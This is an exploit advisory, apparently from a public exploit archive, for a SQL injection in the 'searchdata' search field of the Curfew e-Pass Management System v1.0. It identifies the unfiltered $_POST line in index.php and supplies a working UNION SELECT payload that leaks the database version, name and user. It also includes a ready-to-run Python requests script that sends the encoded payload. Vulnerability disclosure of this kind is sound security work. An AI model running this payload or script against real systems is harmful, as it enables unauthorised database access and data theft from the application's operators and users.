Curfew e-Pass Management System version 1.0 suffers from a remote SQL injection vulnerability.
cfbc2bf6fa4f128fb5a9ac9a75dcbec21c6829e0420adc26220542ec1e5034cb
# Exploit Title: Curfew e-Pass Management System - 'searchdata' SQL Injection
# Date: 2020-07-07
# Exploit Author: gh1mau
# Team Members: Capt'N,muzzo,chaos689 | https://h0fclanmalaysia.wordpress.com/
# Vendor Homepage: https://phpgurukul.com/curfew-e-pass-management-system-using-php-and-mysql/
# Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=11661
# Version: v1.0
# Tested on: PHP 5.6.18, Apache/2.4.18 (Win32), Ver 14.14 Distrib 5.7.11, for Win32 (AMD64)
Vulnerable File:
----------------
index.php
Vulnerable Code:
-----------------
line 55: $sdata=$_POST['searchdata'];
Vulnerable Issue:
-----------------
$sdata=$_POST['searchdata']; is not filtered correcty
POC:
----
[+] Inject the payload inside the Search Form :
Payload :
gh1mau' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT_WS(0x3a,version(),database(),user()),NULL,NULL,NULL-- -
Python POC:
-----------
import requests
url = "https://localhost:80/cpms/index.php"
payload = "searchdata=gh1mau%27+UNION+ALL+SELECT+NULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CCONCAT%28%27gh1mau%27%2Cversion%28%29%2C0x3a%2Cdatabase%28%29%2C0x3a%2Cuser%28%29%2C%27gh1mau%27%29%2CNULL%2CNULL%2CNULL--+-&search="
headers = {
"Origin": "https://localhost",
"Cookie": "PHPSESSID=jnnltnonnjt460rb4fk30b5vr2",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0",
"Connection": "close",
"Referer": "https://localhost/cpms/index.php",
"Host": "localhost",
"Accept-Encoding": "gzip, deflate",
"Upgrade-Insecure-Requests": "1",
"Accept-Language": "en-US,en;q=0.5",
"Content-Length": "219",
"Content-Type": "application/x-www-form-urlencoded"
}
response = requests.request("POST", url, data=payload, headers=headers)
print(response.text)